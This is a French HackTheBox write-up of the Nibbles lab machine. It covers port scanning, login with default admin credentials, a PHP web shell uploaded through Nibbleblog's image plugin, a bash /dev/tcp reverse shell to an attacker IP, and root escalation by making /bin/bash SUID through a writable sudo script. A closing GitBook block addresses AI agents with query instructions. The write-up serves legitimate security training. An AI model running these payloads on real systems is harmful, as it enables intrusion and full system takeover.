> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/nibbles-hackthebox-writeup.md). # Compte rendu HackTheBox de Nibbles {% embed url="" %} {% hint style="warning" %} **Compétences :** * Exploitation abusive de Nibbleblog - Exécution de code à distance via téléversement de fichier * Exploitation abusive du privilège Sudoers (élévation de privilèges) {% endhint %} ## Reconnaissance **Configuration de l'espace de travail :** Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

**Vérification de la connectivité VPN** Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

**Découverte des ports ouverts avec Nmap :** Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap : ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.75 -oG allPorts ```

**Analyse des ports ouverts avec extractPorts :** Utilisez la fonction extractPorts pour afficher les ports ouverts dans un format concis et les copier dans le presse-papiers (22.80)

Analyse des versions des ports avec Nmap : Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" : ```bash nmap -sCV -p22,80 10.10.10.75 -oN targeted ```

### Port 80 - HTTP

En inspectant le code source de la page web, nous remarquons la présence d'un `/nibbleblog` répertoire.

### Nibbles Blog - CMS

Le site semble être un CMS appelé Nibbleblog. Nous allons utiliser `gobuster` pour rechercher d'autres répertoires : ```bash gobuster dir -u http://10.10.10.75/nibbleblog/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ```

#### Recherche de fichiers PHP : Lors de la recherche de fichiers PHP, nous trouvons un `admin.php` fichier qui semble correspondre à un panneau d'administration.

#### Tentative de connexion avec les identifiants : Nous essayons de nous connecter avec les identifiants suivants : * **Utilisateur**: admin * **Mot de passe**: nibbles

Ça fonctionne et nous accédons à l'interface d'administration.

## Vulnérabilité Nibbleblog - Téléversement de fichier Nous découvrons une fonctionnalité permettant de téléverser des images :

Nous allons créer un `cmd.php` fichier avec le code suivant pour permettre l'exécution de commandes ```bash " . shell_exec($_GET['cmd']) . ""; ?> ``` Le fichier sera téléchargé dans le `contenu` répertoire, où nous trouvons un `privé` sous-dossier contenant des plugins.

#### Exécution de commandes via téléversement de fichier : Grâce au `cmd` paramètre, nous pouvons exécuter des commandes. Par exemple, nous utilisons l'URL suivante pour obtenir les informations d'ID système :

/image.php?cmd=id

Nous obtenons l'accès au serveur via un shell inversé. Nous écoutons sur notre machine sur le port 443 : ```bash nc -nlvp 443 ``` Ensuite, nous lançons le shell inversé sur la machine cible : ```bash bash -c "bash -i >%26 /dev/tcp/10.10.14.7/443 0>%261" ```

#### Stabilisation du terminal : Dans le terminal, nous effectuons les étapes suivantes pour stabiliser la session : ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### Drapeau user.txt :)

## Élévation de privilèges : ### Sudo - monitor.sh (fichier inexistant) Nous découvrons une vulnérabilité liée à l'exécution de scripts avec des privilèges sudo.

Le `monitor.sh` le fichier semble introuvable, mais nous pouvons créer un script qui s'exécutera en tant que root. Nous commençons par créer les répertoires nécessaires : ```bash cd /home/nibbler mkdir personal cd !$ mkdir stuff cd !$ ``` Nous plaçons le `monitor.sh` fichier à cet endroit avec le contenu suivant : ```bash chmod u+s /bin/bash ``` Nous exécutons ensuite le script avec des privilèges sudo : ```bash sudo /home/nibbler/personal/stuff/monitor.sh ``` Cela vous permet de modifier les permissions de `/bin/bash` en ajoutant le bit SUID. Nous exécutons ensuite la commande suivante pour obtenir un shell avec des privilèges root : ```bash bash -p ```

### Drapeau root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/nibbles-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.